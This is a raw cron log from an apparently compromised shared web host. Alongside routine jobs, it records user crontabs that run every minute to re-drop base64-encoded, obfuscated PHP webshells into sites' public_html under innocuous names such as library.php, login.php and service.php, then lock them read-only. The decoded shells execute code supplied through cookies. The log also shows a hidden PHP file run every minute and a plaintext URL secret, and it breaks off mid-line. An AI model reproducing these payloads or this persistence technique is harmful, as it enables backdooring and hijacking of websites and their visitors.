Jun  7 09:56:02 medusa CROND[22941]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:56:02 medusa CROND[22942]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:56:02 medusa CROND[22943]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:56:02 medusa CROND[22944]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:56:02 medusa CROND[22950]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:56:02 medusa CROND[22951]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:56:02 medusa CROND[22952]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:56:02 medusa CROND[22953]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:56:02 medusa CROND[22954]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:56:02 medusa CROND[22955]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:56:02 medusa CROND[22966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:57:02 medusa CROND[24797]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:57:02 medusa CROND[24843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:57:02 medusa CROND[24844]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:57:02 medusa CROND[24845]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:57:02 medusa CROND[24848]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:57:02 medusa CROND[24849]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:57:02 medusa CROND[24852]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:57:02 medusa CROND[24853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:57:02 medusa CROND[24851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:57:02 medusa CROND[24855]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:57:02 medusa CROND[24856]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:57:02 medusa CROND[24858]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:58:01 medusa CROND[26730]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:58:01 medusa CROND[26766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:58:02 medusa CROND[26781]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:58:02 medusa CROND[26784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:58:02 medusa CROND[26785]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:58:02 medusa CROND[26786]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:58:02 medusa CROND[26789]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:58:02 medusa CROND[26791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 09:58:02 medusa CROND[26792]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:58:02 medusa CROND[26794]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 